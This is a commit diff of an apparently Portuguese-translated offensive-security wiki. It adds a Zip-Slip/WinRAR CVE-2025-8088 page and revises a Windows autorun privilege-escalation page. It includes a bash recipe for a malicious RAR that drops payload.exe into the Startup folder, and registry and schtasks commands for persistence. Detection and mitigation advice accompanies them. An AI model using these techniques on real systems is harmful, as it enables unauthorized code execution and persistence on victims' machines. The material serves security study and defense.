Translated ['src/generic-hacking/archive-extraction-path-traversal.md',

This commit is contained in:
Translator 2025-08-13 22:20:24 +00:00
parent 2faba62f03
commit 128388c8bb
3 changed files with 95 additions and 18 deletions

View File

@ -79,6 +79,7 @@
# 🧙‍♂️ Generic Hacking # 🧙‍♂️ Generic Hacking
- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
- [Brute Force - CheatSheet](generic-hacking/brute-force.md) - [Brute Force - CheatSheet](generic-hacking/brute-force.md)
- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md) - [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
- [Exfiltration](generic-hacking/exfiltration.md) - [Exfiltration](generic-hacking/exfiltration.md)

View File

@ -0,0 +1,68 @@
# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
{{#include ../banners/hacktricks-training.md}}
## Visão Geral
Muitos formatos de arquivo (ZIP, RAR, TAR, 7-ZIP, etc.) permitem que cada entrada carregue seu próprio **caminho interno**. Quando uma ferramenta de extração aceita cegamente esse caminho, um nome de arquivo elaborado contendo `..` ou um **caminho absoluto** (por exemplo, `C:\Windows\System32\`) será escrito fora do diretório escolhido pelo usuário. Essa classe de vulnerabilidade é amplamente conhecida como *Zip-Slip* ou **traversal de caminho de extração de arquivo**.
As consequências variam desde a sobrescrição de arquivos arbitrários até a obtenção direta de **execução remota de código (RCE)** ao deixar um payload em um local de **execução automática**, como a pasta *Inicialização* do Windows.
## Causa Raiz
1. O atacante cria um arquivo onde um ou mais cabeçalhos de arquivo contêm:
* Sequências de travessia relativa (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`)
* Caminhos absolutos (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`)
2. A vítima extrai o arquivo com uma ferramenta vulnerável que confia no caminho incorporado em vez de sanitizá-lo ou forçar a extração abaixo do diretório escolhido.
3. O arquivo é escrito na localização controlada pelo atacante e executado/carregado na próxima vez que o sistema ou o usuário acionar esse caminho.
## Exemplo do Mundo Real WinRAR ≤ 7.12 (CVE-2025-8088)
WinRAR para Windows (incluindo o CLI `rar` / `unrar`, a DLL e a fonte portátil) falhou em validar nomes de arquivos durante a extração. Um arquivo RAR malicioso contendo uma entrada como:
```text
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
```
acabaria **fora** do diretório de saída selecionado e dentro da *pasta de Inicialização* do usuário. Após o logon, o Windows executa automaticamente tudo o que está presente lá, proporcionando RCE *persistente*.
### Criando um PoC Archive (Linux/Mac)
```bash
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
```
Opções usadas:
* `-ep` armazena caminhos de arquivos exatamente como dados (não **prune** `./` inicial).
Entregue `evil.rar` à vítima e instrua-a a extraí-lo com uma versão vulnerável do WinRAR.
### Exploração Observada no Mundo Real
A ESET relatou campanhas de spear-phishing RomCom (Storm-0978/UNC2596) que anexaram arquivos RAR abusando do CVE-2025-8088 para implantar backdoors personalizados e facilitar operações de ransomware.
## Dicas de Detecção
* **Inspeção estática** Liste as entradas do arquivo e sinalize qualquer nome contendo `../`, `..\\`, *caminhos absolutos* (`C:`) ou codificações UTF-8/UTF-16 não canônicas.
* **Extração em sandbox** Descompacte em um diretório descartável usando um extrator *seguro* (por exemplo, `patool` do Python, 7-Zip ≥ última versão, `bsdtar`) e verifique se os caminhos resultantes permanecem dentro do diretório.
* **Monitoramento de endpoint** Alerta sobre novos executáveis gravados em locais de `Startup`/`Run` logo após um arquivo ser aberto pelo WinRAR/7-Zip/etc.
## Mitigação e Fortalecimento
1. **Atualize o extrator** O WinRAR 7.13 implementa a sanitização adequada de caminhos. Os usuários devem baixá-lo manualmente porque o WinRAR não possui um mecanismo de atualização automática.
2. Extraia arquivos com a opção **“Ignorar caminhos”** (WinRAR: *Extrair → "Não extrair caminhos"*) quando possível.
3. Abra arquivos não confiáveis **dentro de uma sandbox** ou VM.
4. Implemente a lista de permissões de aplicativos e restrinja o acesso de gravação do usuário a diretórios de execução automática.
## Casos Adicionais Afetados / Históricos
* 2018 Aviso massivo de *Zip-Slip* pela Snyk afetando muitas bibliotecas Java/Go/JS.
* 2023 CVE-2023-4011 do 7-Zip com travessia semelhante durante a mesclagem `-ao`.
* Qualquer lógica de extração personalizada que não chama `PathCanonicalize` / `realpath` antes da gravação.
## Referências
- [BleepingComputer WinRAR zero-day explorado para plantar malware na extração de arquivos](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
- [WinRAR 7.13 Changelog](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
- [Snyk Análise da vulnerabilidade Zip Slip](https://snyk.io/research/zip-slip-vulnerability)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Escalação de Privilégios com Autoruns # Escalada de Privilégios com Autoruns
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
@ -26,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
``` ```
## Pastas ## Pastas
Todos os binários localizados nas **pastas de Inicialização serão executados na inicialização**. As pastas de inicialização comuns são as listadas a seguir, mas a pasta de inicialização é indicada no registro. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path) Todos os binários localizados nas **pastas de Inicialização serão executados na inicialização**. As pastas de inicialização comuns são as listadas a seguir, mas a pasta de inicialização é indicada no registro. [Leia isso para saber onde.](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash ```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@ -35,14 +35,22 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
``` ```
> **FYI**: Vulnerabilidades de *traversal de caminho* na extração de arquivos (como a que foi explorada no WinRAR antes da versão 7.13 CVE-2025-8088) podem ser aproveitadas para **depositar payloads diretamente dentro dessas pastas de Inicialização durante a descompressão**, resultando na execução de código no próximo logon do usuário. Para uma análise aprofundada dessa técnica, veja:
{{#ref}}
../../generic-hacking/archive-extraction-path-traversal.md
{{#endref}}
## Registro ## Registro
> [!NOTE] > [!TIP]
> [Nota daqui](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): A entrada de registro **Wow6432Node** indica que você está executando uma versão do Windows de 64 bits. O sistema operacional usa essa chave para exibir uma visão separada de HKEY_LOCAL_MACHINE\SOFTWARE para aplicativos de 32 bits que são executados em versões do Windows de 64 bits. > [Nota daqui](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): A entrada de registro **Wow6432Node** indica que você está executando uma versão do Windows de 64 bits. O sistema operacional usa essa chave para exibir uma visão separada de HKEY_LOCAL_MACHINE\SOFTWARE para aplicativos de 32 bits que são executados em versões do Windows de 64 bits.
### Execuções ### Execuções
**Comumente conhecido** AutoRun registro: Registro AutoRun **comumente conhecido**:
- `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` - `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
@ -56,7 +64,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce` - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx` - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
As chaves de registro conhecidas como **Run** e **RunOnce** são projetadas para executar automaticamente programas toda vez que um usuário faz login no sistema. A linha de comando atribuída como valor de dados de uma chave é limitada a 260 caracteres ou menos. As chaves de registro conhecidas como **Run** e **RunOnce** são projetadas para executar automaticamente programas toda vez que um usuário faz logon no sistema. A linha de comando atribuída como valor de dados de uma chave é limitada a 260 caracteres ou menos.
**Execuções de serviço** (podem controlar a inicialização automática de serviços durante a inicialização): **Execuções de serviço** (podem controlar a inicialização automática de serviços durante a inicialização):
@ -78,10 +86,10 @@ No Windows Vista e versões posteriores, as chaves de registro **Run** e **RunOn
``` ```
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll" reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
``` ```
> [!NOTE] > [!TIP]
> **Exploit 1**: Se você puder escrever dentro de qualquer um dos registros mencionados dentro de **HKLM**, você pode escalar privilégios quando um usuário diferente fizer login. > **Exploit 1**: Se você puder escrever dentro de qualquer um dos registros mencionados dentro de **HKLM**, você pode escalar privilégios quando um usuário diferente fizer login.
> [!NOTE] > [!TIP]
> **Exploit 2**: Se você puder sobrescrever qualquer um dos binários indicados em qualquer um dos registros dentro de **HKLM**, você pode modificar esse binário com um backdoor quando um usuário diferente fizer login e escalar privilégios. > **Exploit 2**: Se você puder sobrescrever qualquer um dos binários indicados em qualquer um dos registros dentro de **HKLM**, você pode modificar esse binário com um backdoor quando um usuário diferente fizer login e escalar privilégios.
```bash ```bash
#CMD #CMD
@ -147,7 +155,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
Atalhos colocados na pasta **Inicialização** irão automaticamente acionar serviços ou aplicativos para serem iniciados durante o logon do usuário ou a reinicialização do sistema. A localização da pasta **Inicialização** é definida no registro para os escopos **Máquina Local** e **Usuário Atual**. Isso significa que qualquer atalho adicionado a esses locais de **Inicialização** especificados garantirá que o serviço ou programa vinculado seja iniciado após o processo de logon ou reinicialização, tornando-se um método simples para agendar programas para serem executados automaticamente. Atalhos colocados na pasta **Inicialização** irão automaticamente acionar serviços ou aplicativos para serem iniciados durante o logon do usuário ou a reinicialização do sistema. A localização da pasta **Inicialização** é definida no registro para os escopos **Máquina Local** e **Usuário Atual**. Isso significa que qualquer atalho adicionado a esses locais de **Inicialização** especificados garantirá que o serviço ou programa vinculado seja iniciado após o processo de logon ou reinicialização, tornando-se um método simples para agendar programas para serem executados automaticamente.
> [!NOTE] > [!TIP]
> Se você puder sobrescrever qualquer \[User] Shell Folder sob **HKLM**, você poderá apontá-lo para uma pasta controlada por você e colocar um backdoor que será executado sempre que um usuário fizer login no sistema, escalando privilégios. > Se você puder sobrescrever qualquer \[User] Shell Folder sob **HKLM**, você poderá apontá-lo para uma pasta controlada por você e colocar um backdoor que será executado sempre que um usuário fizer login no sistema, escalando privilégios.
```bash ```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
@ -164,14 +172,14 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
Normalmente, a chave **Userinit** é definida como **userinit.exe**. No entanto, se essa chave for modificada, o executável especificado também será iniciado pelo **Winlogon** ao fazer login do usuário. Da mesma forma, a chave **Shell** é destinada a apontar para **explorer.exe**, que é o shell padrão do Windows. Normalmente, a chave **Userinit** é definida como **userinit.exe**. No entanto, se essa chave for modificada, o executável especificado também será iniciado pelo **Winlogon** ao fazer login do usuário. Da mesma forma, a chave **Shell** deve apontar para **explorer.exe**, que é o shell padrão do Windows.
```bash ```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
``` ```
> [!NOTE] > [!TIP]
> Se você puder sobrescrever o valor do registro ou o binário, conseguirá escalar privilégios. > Se você puder sobrescrever o valor do registro ou o binário, conseguirá escalar privilégios.
### Configurações de Política ### Configurações de Política
@ -190,7 +198,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
### Mudando o Prompt de Comando do Modo Seguro ### Mudando o Prompt de Comando do Modo Seguro
No Registro do Windows em `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, há um valor **`AlternateShell`** definido por padrão como `cmd.exe`. Isso significa que, ao escolher "Modo Seguro com Prompt de Comando" durante a inicialização (pressionando F8), `cmd.exe` é utilizado. Mas, é possível configurar seu computador para iniciar automaticamente neste modo sem precisar pressionar F8 e selecioná-lo manualmente. No Registro do Windows em `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, há um valor **`AlternateShell`** definido por padrão como `cmd.exe`. Isso significa que, ao escolher "Modo Seguro com Prompt de Comando" durante a inicialização (pressionando F8), `cmd.exe` é utilizado. No entanto, é possível configurar seu computador para iniciar automaticamente neste modo sem precisar pressionar F8 e selecioná-lo manualmente.
Passos para criar uma opção de inicialização para iniciar automaticamente em "Modo Seguro com Prompt de Comando": Passos para criar uma opção de inicialização para iniciar automaticamente em "Modo Seguro com Prompt de Comando":
@ -202,9 +210,9 @@ Passos para criar uma opção de inicialização para iniciar automaticamente em
- **Exploit 1:** Alterar a chave de registro **AlternateShell** permite a configuração de um shell de comando personalizado, potencialmente para acesso não autorizado. - **Exploit 1:** Alterar a chave de registro **AlternateShell** permite a configuração de um shell de comando personalizado, potencialmente para acesso não autorizado.
- **Exploit 2 (Permissões de Escrita no PATH):** Ter permissões de escrita em qualquer parte da variável **PATH** do sistema, especialmente antes de `C:\Windows\system32`, permite que você execute um `cmd.exe` personalizado, que pode ser uma porta dos fundos se o sistema for iniciado em Modo Seguro. - **Exploit 2 (Permissões de Escrita no PATH):** Ter permissões de escrita em qualquer parte da variável **PATH** do sistema, especialmente antes de `C:\Windows\system32`, permite que você execute um `cmd.exe` personalizado, que pode ser uma porta dos fundos se o sistema for iniciado em Modo Seguro.
- **Exploit 3 (Permissões de Escrita no PATH e boot.ini):** O acesso de escrita ao `boot.ini` permite a inicialização automática em Modo Seguro, facilitando o acesso não autorizado na próxima reinicialização. - **Exploit 3 (Permissões de Escrita no PATH e boot.ini):** O acesso de escrita ao `boot.ini` permite a inicialização automática no Modo Seguro, facilitando o acesso não autorizado na próxima reinicialização.
Para verificar a configuração atual de **AlternateShell**, use estes comandos: Para verificar a configuração atual do **AlternateShell**, use estes comandos:
```bash ```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell' Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
@ -225,7 +233,7 @@ Dentro dessas chaves, existem várias subchaves, cada uma correspondendo a um co
- **IsInstalled:** - **IsInstalled:**
- `0` indica que o comando do componente não será executado. - `0` indica que o comando do componente não será executado.
- `1` significa que o comando será executado uma vez para cada usuário, que é o comportamento padrão se o valor `IsInstalled` estiver ausente. - `1` significa que o comando será executado uma vez para cada usuário, que é o comportamento padrão se o valor `IsInstalled` estiver ausente.
- **StubPath:** Define o comando a ser executado pelo Active Setup. Pode ser qualquer linha de comando válida, como iniciar `notepad`. - **StubPath:** Define o comando a ser executado pelo Active Setup. Pode ser qualquer linha de comando válida, como iniciar o `notepad`.
**Insights de Segurança:** **Insights de Segurança:**
@ -239,11 +247,11 @@ reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v Stub
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
``` ```
### Objetos Auxiliares do Navegador ### Browser Helper Objects
### Visão Geral dos Objetos Auxiliares do Navegador (BHOs) ### Visão Geral dos Browser Helper Objects (BHOs)
Os Objetos Auxiliares do Navegador (BHOs) são módulos DLL que adicionam recursos extras ao Internet Explorer da Microsoft. Eles são carregados no Internet Explorer e no Windows Explorer a cada inicialização. No entanto, sua execução pode ser bloqueada definindo a chave **NoExplorer** como 1, impedindo que sejam carregados com as instâncias do Windows Explorer. Browser Helper Objects (BHOs) são módulos DLL que adicionam recursos extras ao Internet Explorer da Microsoft. Eles são carregados no Internet Explorer e no Windows Explorer a cada inicialização. No entanto, sua execução pode ser bloqueada definindo a chave **NoExplorer** como 1, impedindo que sejam carregados com instâncias do Windows Explorer.
Os BHOs são compatíveis com o Windows 10 via Internet Explorer 11, mas não são suportados no Microsoft Edge, o navegador padrão nas versões mais recentes do Windows. Os BHOs são compatíveis com o Windows 10 via Internet Explorer 11, mas não são suportados no Microsoft Edge, o navegador padrão nas versões mais recentes do Windows.
@ -264,7 +272,7 @@ reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\B
- `HKLM\Software\Microsoft\Internet Explorer\Extensions` - `HKLM\Software\Microsoft\Internet Explorer\Extensions`
- `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions` - `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions`
Observe que o registro conterá 1 novo registro para cada dll e será representado pelo **CLSID**. Você pode encontrar as informações do CLSID em `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}` Note que o registro conterá 1 novo registro para cada dll e será representado pelo **CLSID**. Você pode encontrar as informações do CLSID em `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`
### Drivers de Fonte ### Drivers de Fonte